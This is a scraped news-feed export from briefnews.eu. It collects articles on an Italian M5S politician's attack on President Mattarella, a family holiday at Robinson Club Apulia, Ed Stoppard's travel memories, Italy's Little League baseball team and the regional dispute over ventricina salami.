“You can be a problem if you have a trial, you can be a problem if you’ve been found guilty for something, but not because you have some good ideas, or, any idea in a political sense. There is a constitution defending political ideas and opinions,” Stefano said.

Mattarella’s claims that Savona is a danger to Italy’s stay in the eurozone lack any ground, Stefano argued, since Savona’s current stance is that Italy can assert its place in European economics without necessarily abandoning the euro.

“The incredible point is that Savona was the first telling us that Italy has to stay in the EU and Eurozone, but it has to be stronger institutionally to bring some points at home,” Stefano said.

Given that, Mattarella’s reasoning seems tailored to serve his own political agenda, the M5S member said.

After the coalition’s bid to form a new government failed, Mattarella summoned Carlo Cottarelli, a former senior official at the International Monetary Fund (IMF), to his office. It is believed that Mattarella will ask Cottarellli to head the government.

“The incredible thing is that President Mattarella has not only stopped this government, but is trying to force the government that is the expression of his own will,” Stefano said.

In case Mattarella makes Cottarelli PM-designate, the latter “will not have any chance to create the government,” the MP said. “We will never support the kind of a different government than us,” he stressed.

Arguing that Mattarella has broken all the rules of an established European democracy, Stefano described his conduct as “something without any historic record until today.”

Mattarella’s objection to the economy minister candidacy earlier drew the ire of MS5 leader Luigi Di Maio, who called the president’s decision “incomprehensible” and called for his impeachment. 

Let’s block ads! (Why?)

]]> https://briefnews.eu/president-undermines-election-results-pushes-for-his-own-govt-mp-from-italys-m5s/feed/ 0 Apulia: A lesser-known gem on Italy's south easterly tip https://briefnews.eu/apulia-a-lesser-known-gem-on-italys-south-easterly-tip/ https://briefnews.eu/apulia-a-lesser-known-gem-on-italys-south-easterly-tip/#respond Sun, 01 Apr 2018 00:15:05 +0000 http://briefnews.eu/apulia-a-lesser-known-gem-on-italys-south-easterly-tip/

Apulia is beautiful and away from Italy's crowdsGETTY / PH

Apulia is beautiful and away from Italy’s madding crowds

However, at Robinson Club Apulia, bagging sun loungers is banned by the disarmingly charming Italian general manager, Mario. After 24 years of running this well-manicured resort, charismatic Mario has instilled the 464-room hotel with his sense of fairness, putting an end to the dreaded sunbed wars between vacationers.

I brought my family, including my 74-year-old mother, to this sleepy corner of the country, to escape the madding crowds found elsewhere in Italy.

Well-equipped for multi-generational holidays, a rising trend across Europe, Robinson Club specialises in family groups catering from the very young to grandparents – and everything else in between.

Set within a 70-acre complex, the plush resort has six swimming pools – one so vast you need never worry about crashing into other swimmers – as well as two especially for children complete with waterslides and fountains, an adults-only pool and whirlpool. 

Related articles

The Robinson Club resort is exceptionally runPH

The Robinson Club resort is exceptionally run by General Manager Mario

Food is part of the entertainment at Robinson Club. Here the chefs cook to order in front of the guests – and they make it fun. One cook, noticeably skilled with his saute pan, reappeared one night as a dancing acrobat during an evening of circus tricks

Lucy Johnston

When it comes to sport, Robinson Club has it covered with a range of activities that will keep all the family entertained. Surfing, sailing and stand-up paddle boarding were available at the resort’s 220-yard stretch of private beach.

Back on land we were encouraged to try our hands at archery, volleyball, darts, tennis – and my children refused to leave without having a whizz round the nearby go-karting track.

If the adrenaline-fuelled programme gets too much, adults can slink off to the WellFit Spa for massages and beauty treatments, or to find some inner peace at a yoga class. With so much to do we’d built up our appetites by lunch and again by the evening.

Six restaurants cater for all tastes, with the main dining area serving varied buffets and international cuisine overlooking the stunning terraced gardens. 

Robinson Club offers a great time for all agesPH

Robinson Club offers a great multi-generational experience

Capturing Italy’s essence, there’s also a pizzeria complete with a wood-fired oven, a high-end beachside Trattoria and Vinothek bar, serving local wines from Salento and south Apulia. All week we could choose from a spectacular range of southern Italian dishes but for me the highlight was the freshly caught frutti di mare which included kingfish, lobster, swordfish and mussels.

Food is part of the entertainment at Robinson Club. Here the chefs cook to order in front of the guests – and they make it fun. One cook, noticeably skilled with his saute pan, reappeared one night as a dancing acrobat during an evening of circus tricks.

Climbing two black curtains, he had to be rescued by one of the clowns when he got his foot wedged halfway down, almost missing the finale, much to the amusement of my children, who howled with laughter.

He was very much the star of the show. A jack of all trades, general manager Mario, could often be found sprucing up the resort or demonstrating how to make pasta to guests. My two children were quick to notice the difference between the freshly made pasta, kneaded with care and the dried stuff we cook at home.

With so much on offer, there’s little reason to leave Robinson Club. But, keen to get a sense of the region’s long and varied past, we headed out to explore the surrounding area. Apulia was once a central hub in Greek and Roman times and during the Crusades was a strategic route between Europe and the Holy Land. 

Lecce is known as 'the Florence of the South'GETTY

Lecce is known as ‘the Florence of the South’

Small clusters of villages still speak Griko, an Italiot Greek dialect, that dates back to the early Middle Ages when waves of migrants settled here while fleeing from Ottoman invasion. A 40-minute drive north to Lecce, which is known here as the “Florence of the South”, the buildings, of soft yellow limestone, are an eclectic mix of elegant Norman, refined Renaissance and explosive Baroque styles.

Contrasting again are the Mussolini fascist-era apartment buildings, whose huge, rational blocks tower above the sunken, second-century, Roman amphitheatre. The city’s palazzos and churches are intricately carved with olives and artichokes, celebrating the area’s rich agricultural heritage.

Apulia produces almost half of Italy’s olive oil, with some groves boasting gnarled trees more than 1,000 years old. Grapes also decorate pillars and balustrades, highlighting the region’s wine-making expertise.

It is famed for its full-bodied red, Negroamaro. With reminders of food almost everywhere, we made a quick stop for lunch.

My 14-year old was delighted with his “little chicken”, an extraordinary dish made with slices of chicken and peas filled into a miniature pastry chicken mould. A hearty meal but nonetheless followed with homemade Italian gelato.

Otranto is a stunning fortress townGETTY

Otranto is a stunning fortress town

En route back to Robinson Club we stopped at Otranto, a surprisingly charming resort perched on the south easterly tip of Italy. The quaint town has preserved its winding streets with whitewashed houses, like precious pearls against the vast backdrop of the sea.

A treasure trove of historic buildings, its coastline was fortified after 1480, when 800 Christians were slaughtered after being faced with an invading Turkish ultimatum: “Renounce Christ or lose your head.”

The Byzantine-style Cattedrale di Santa Maria Annunziata, an 11th-century cathedral with a priceless 650-square yard floor mosaic as its centrepiece, still exhibits the skulls and bones of these martyrs in a large glass cabinet. The tragic invasion led to the militarisation of this region during the 15th century.

Walls fortified with ramparts surround the old part of town and watchtowers punctuate the surrounding landscape, at almost every nautical mile, to warn locals of invaders with innovative techniques: mirrors during sunlight or fire at night.

At the harbour, we climbed Torre Matta, one of the town’s formidable towers. With sweeping views over the Adriatic, on the horizon we could just pick out the rolling hills of Albania and 70 miles west, though we couldn’t see it, was Corfu. 

Powerful Mount Etna in pictures

Tue, January 16, 2018

Mount Etna is an active stratovolcano on the east coast of Sicily, Italy

View of lava flows from Trecastagni, Zafferana, Giarre, Fornazzo as Mount Etna continues to erupt; the flows that start from the south east crater pour into the Valle del Bove

IPA/WENN.com

1 of 18

View of lava flows from Trecastagni, Zafferana, Giarre, Fornazzo as Mount Etna continues to erupt; the flows that start from the south east crater pour into the Valle del Bove

Further south, we visited the town between two seas, Santa Maria di Leuca – on the southernmost tip of Italy’s Salento peninsula – where, beneath a white 19th-century lighthouse, the Ionian and Adriatic mingle to become one.

It’s hardly surprising the Romans referred to this dramatically sculpted coastline as “de Finibus Terrae”, the end of the Earth. Beneath us the limestone cliff edge is peppered with grottos where seagulls and pigeons come to perch among fossils, apparently dating back to palaeolithic times.

We explored these grottos, on the stiletto heel of Italy’s boot, the next day. Diving into one blowing cave, we surfaced under its roof with light pouring through its cracks to highlight a shoal of big, black fish swimming beneath us – much to the children’s exhilaration.

As we pack for home, I’m already planning our return. Capturing the essence of Italy, it seems impossible to sate our appetites for more of what Robinsons Club and Apulia has to offer. 

GETTING THERE:Robinson Club Apulia (0511 955 5736/ robinson.com) offers seven nights from £635 (two sharing), all inclusive. Ryanair (0871 246 0000/ryanair.com) offers return flights from London Stansted to Brindisi from £44. Apulia tourism: viaggiareinpuglia.it

Let’s block ads! (Why?)

]]> https://briefnews.eu/apulia-a-lesser-known-gem-on-italys-south-easterly-tip/feed/ 0 Ed Stoppard: Why I fell in love with Italy's stunning Venice https://briefnews.eu/ed-stoppard-why-i-fell-in-love-with-italys-stunning-venice/ https://briefnews.eu/ed-stoppard-why-i-fell-in-love-with-italys-stunning-venice/#respond Sat, 23 Sep 2017 02:25:55 +0000 http://briefnews.eu/ed-stoppard-why-i-fell-in-love-with-italys-stunning-venice/

Ed StoppardREX/GETTY

Ed Stoppard stars as Dan Dare in Dan Dare – The Audio Adventure

WHAT IS YOUR MOST MEMORABLE HOLIDAY?

For our 10th anniversary, Amie and I had a three-day break on Ischia, one of those idyllic, romantic Mediterranean islands.

We stayed at the Mezzatorre Resort and it was heaven – calm and secluded with unobtrusive but perfect service.

Everything was understated elegance.

The food was wonderful. We didn’t do much.

Amie’s idea of a holiday is to remain static.

I’m not even sure I put on shoes for the duration of our stay.

We would walk in the beautiful landscaped garden or just find idiosyncratic areas, little roof terraces, to hang out. I don’t normally like swimming in the sea but it was glorious.

Leaping off rocks into the water was about as energetic as we got. It had a slightly unreal air, like some multi-millionaire had lent you their mansion.

I felt like 1970s Roger Moore wooing his Bond girl. 

Related articles

AND YOUR WORST?

Christmas 2010.

I thought southern Spain would be quite hot, so we rented a villa near the Costa del Sol billed as having a heated pool.

It was heated using a mechanism extracting heat from the air but the air wasn’t very warm.

It was 12 degrees.

I remember treading water with my teeth chattering saying to my kids: “It’s not bad once you get in…” and them standing on the side clutching their bodies trying to stay warm, shaking their heads.

There was a sign warning us about flesh-eating caterpillars on the trees.

The town was horrible – like a strip mall that had gone bust and it was hard to find anything decent to eat.

Then, on the second to last day, I woke at 2am in agony – I had slipped a disc. 

IschiaGETTY

Ed treated his wife Anita to a trip to Ischia, a Mediterranean island

WHAT’S YOUR FAVOURITE HOLIDAY SOUVENIR?

I was once filming in Rome on our anniversary, so I said to Amie: “Come out…”

We had dinner in the only swanky restaurant open, in this five-star hotel, which was deserted but for us.

When we nipped to the loos, there were beautiful linen hand towels.

I said to Amie: “Did you have those fabulous towels?”

She said: “Yeah, I’ve got three in my bag.”

I ran back and got three myself.

I’m not proud of this but they are cherished. I’ll return them one day.

BEST HOLIDAY READ?

We travelled around s for our honeymoon and stayed at The Malabar House Hotel in Fort Kochi, a hopelessly romantic place.

I took The God Of Small Things by Arundhati Roy – the perfect book for that location.

HOW DO YOU SPEND YOUR TIME ON HOLIDAY?

I can appreciate the pleasures of a beach holiday but I prefer to be more active.

Although I’m not the sort of person who goes cycling or climbs mountains, I love exploring and soaking up the atmosphere.

VeniceGETTY

Ed would like to revisit Italy’s stunning Venice

WHERE WOULD YOU REVISIT?

Venice.

I took Amie for a November weekend 10 years ago. It rained the whole time and was still the most magical place.

Every time you turn a corner, it’s in anticipation of what amazing piece of art or architecture or cultural moment is going to greet you.

I had my most memorable Italian meal at Trattoria Dalla Marisa.

There was no menu, they just brought six courses, each one more remarkable than the previous. 

Southern India GETTY

Ed travelled around southern India with his wife for their honeymoon

Top 10 travel destinations for 2017

Thu, December 8, 2016

Holiday inspiration: These are going to be the top 10 destinations to travel to in 2017.

Top 10 travel destinations for 2017

Getty

1 of 11

Top 10 travel destinations for 2017

WHERE NEXT?

The Costa Brava near Cadaqués – a beautiful coastline with idyllic bays, wonderful whitewashed buildings and lovely food. It ticks all the boxes.

Then, we’ll go to New York. My wife’s stepmother lives on Long Island; the most amazing beach in the world.

Ed Stoppard stars as Dan Dare in Dan Dare – The Audio Adventures available as a CD box set and digital download via dandareaudio.com 

Related articles

Let’s block ads! (Why?)

Daily Express :: Travel Feed

]]> https://briefnews.eu/ed-stoppard-why-i-fell-in-love-with-italys-stunning-venice/feed/ 0 Baseball fights to find a foothold in Italy's sports landscape https://briefnews.eu/baseball-fights-to-find-a-foothold-in-italys-sports-landscape/ https://briefnews.eu/baseball-fights-to-find-a-foothold-in-italys-sports-landscape/#respond Sat, 19 Aug 2017 02:27:36 +0000 http://briefnews.eu/baseball-fights-to-find-a-foothold-in-italys-sports-landscape/ When you think of Italy, baseball is not the first thing that comes to mind. 

There is the food, the wine and, of course, the rich Italian culture. If any sport is associated with Italy, it’s soccer. The roots and passion run deep.

So how did a team of 12- and 13-year-olds from northern Italy end up at the Little League World Series in South Williamsport, Pa., on baseball’s biggest stage?

On the Italian sports landscape, baseball remains at best a curiosity, buried far behind other sports.

“It’s very difficult, in Italian culture soccer and other minor sports are mixed into the culture of Italy,” says Michele Gerali, whose son Mateo is on the team. “Baseball is a secondary sport. It is difficult, but we are working to explain the game.”

The roots of the game run surprisingly deep. Most of the kids on this Italian team have a family connection to baseball.

“In Italy, most of the kids who play baseball, their parents played or a family friend played. That’s how they arrive to play the game. It is not a very popular sport,” says Fillipo Tiburtini, whose son Federico plays on the team.

Tiburtini played for 19 years in the Italian Baseball League, an eight-team loop that is regarded as the top circuit in Europe. 

team-italy

Member’s of Italy’s Little League representative. (Jamie Strashin/CBC Sports)

The league and baseball in Italy date back to the Second World War, when American soldiers introduced the game.

“Baseball in Italy started from the north to the centre,” Tiburtini explains. “There [are] not many baseball fields from the centre to the south.”

In areas like Bologna, where this team is from, the game enjoys some popularity. Most towns have baseball fields and quality equipment is easy to come by.

Most of Italy’s roughly 400 Little League teams come from those areas. This team, representing the Emilia Little League in the Bologna region, had about 130 kids try out for 13 spots. And despite the high calibre of baseball being played here in South Williamasport, many on the team are relatively new to the game compared to other teams.

“I saw it on TV and I really enjoyed watching it and i just wanted to try it,” outfielder Jacopo Borella says through a translator. 

“I saw the game being played, I liked the catching, the hitting, the fielding. And I wanted to try it,” says Riccardo Ravegnani, who started playing only three years ago.

Both say more of their friends are starting to play, but progress is slow. Ground zero for growing the game is the school system, where baseball has had trouble finding room.

“It’s hard to find space if you will, the schools say we don’t have the coaches, the facilities, it’s hard work,” Tiburtini says.  “There is no baseball at school. There is no help there.”

Italian pro teams helping grow game

And while there is long and growing list of players of Italian heritage playing in the major leagues to show what’s possible, it is the Italian professional teams doing the hard work. 

“The teams in the first division invite local kids to games, have them down on the field before the games start. The families come and stay for the games,” Tiburtini says.

It’s a way to grow the game and identify players with potential like Riccardo Ravegnani.

“A coach came to our school to demonstrate the game and we did three or four sessions and they saw I had some ability and said why don’t you give this a try.”

Ravegnani and his teammates worked hard to earn their spot here in South Williamsport. They beat out 20 other teams for the Italian championship. They then journeyed to Poland where they beat out 13 other teams for the right to represent the Europe-Africa region at the Little League World Series.

mikeromano-littleleague-italy

American-born Mike Romano, himself a former Little Leaguer, is serving as translator for Team Italy at this year’s tournament. (Jamie Strashin/CBC Sports)

It’s not just the players and their parents who have been wrapped up in this improbable journey. The team needed a translator for their trip overseas. Enter Mike Romano, who was born in the U.S. and played minor-league baseball before moving to Italy to play professionally. He still lives there.

He understands how special this is.

“This is an opportunity you can’t say no to,” he says. “I played Little League in New York when I was a kid. And it’s every kid’s dream to come here. I’m doing it now at age 64.”

It is unlikely Italy will win a game at this tournament. They were trounced by Canada in their opening game but the experience of playing in a place where baseball is everything won’t be forgotten.

“People at home do not understand what kind of competition this is,” Tiburtini says. “In soccer there are many competitions, but there is nothing like this.”

“When my friends ask what is this championship I explain this is like the World Cup of soccer but for Little League,” Michele Gerali says.

A perfect Italian explanation.

Let’s block ads! (Why?)

CBC | Sports News

]]> https://briefnews.eu/baseball-fights-to-find-a-foothold-in-italys-sports-landscape/feed/ 0 Italy's Great Salami Smackdown https://briefnews.eu/italys-great-salami-smackdown/ https://briefnews.eu/italys-great-salami-smackdown/#respond Thu, 09 Mar 2017 20:02:20 +0000 http://briefnews.eu/italys-great-salami-smackdown/ Italy can easily boast about its stunning castles, Roman catacombs, Renaissance art and lovely beaches. Yet what are two neighboring regions in central Italy battling over? Meat. More specifically, the origin of Italy’s most expensive salami, ventricina, which is claimed by both Molise and Abruzzo. Both also vehemently insist, of course, that theirs is the tastiest.

At the center of this great salami brouhaha: a 26-pound bundle of cured pork, stuffed with chili peppers and ground pepperoni, flavored delicately with fennel. But as delicious as it might sound, it looks awful. The first time I tried ventricina in Molise, I thought, “No way, that ain’t going down my food pipe.” It was the color of blood, with big chunks of white lard sticking out. Gross. But after a few bites of it, stuffed inside a panino and accompanied by a glass of white wine, I quickly understood why any region would want to claim the little-known delicacy as their own. Ventricina is delicate and melts in your mouth, the sweetness of the fat counterbalanced by the pungency of chili. A sandwich will set you back about $ 5 to $ 8 — depending on how much meat is piled on — which is well above the cost of a regular salami panino.

Ventricina vastese

When visiting either of the contesting regions, prepare for protein overload. And for much chest-pounding and stories from locals about the ventricina battle. You’ll find butchers circulating their own salami propaganda — with leaflets, handouts and free samples at food fairs. Confession: I enjoyed the pageantry almost as much as the mouthwatering meat. “Ventricina was born in Abruzzo,” insists Gianni Rospi, head of a local committee of residents dedicated to winning the “origin” title. There’s even an academy here that maintains ventricina standards with strict regulations and protections at the European level, Rospi adds. Maria Pia Santi, who chairs the opposing committee in Molise, says no way — they “invented this salami way back in the 1700s … Abruzzo stole it.”

Molise salami-makers add more pepperoni, while in Abruzzo it’s more chili peppers.

But whatever. There are indeed differences between the two products, mainly how they’re made and with what ingredients. Molise salami-makers add more pepperoni, while in Abruzzo it’s more chili peppers — and be warned, they are hot. The meat starts out the color of pomegranate, becoming redder with more seasoning.

Which one is truly the best? Can you really taste a difference in pork that comes from a radius of a few miles? “It’s impossible” to tell where it was made, says Paolo del Bene, a gourmet-salami expert (yes, there is such a thing) based in Rome, a city that’s about as impartial as you can get when it comes to these bickering regions that are “so close.” Sure, there are tiny differences, he confirms, but “both variants are delicious.”

The salami smackdown speaks much of Italy’s so-called “provincialism” and local pride about food. After wine, of course. But once your belly is stuffed with ventricina, who cares about its birthplace? Here’s a thought: Maybe both — or neither! — created the great salami, and this battle is more about generating tourism than ownership of a big chunk of seasoned pork.

Let’s block ads! (Why?)

OZY – The Daily Dose

]]> https://briefnews.eu/italys-great-salami-smackdown/feed/ 0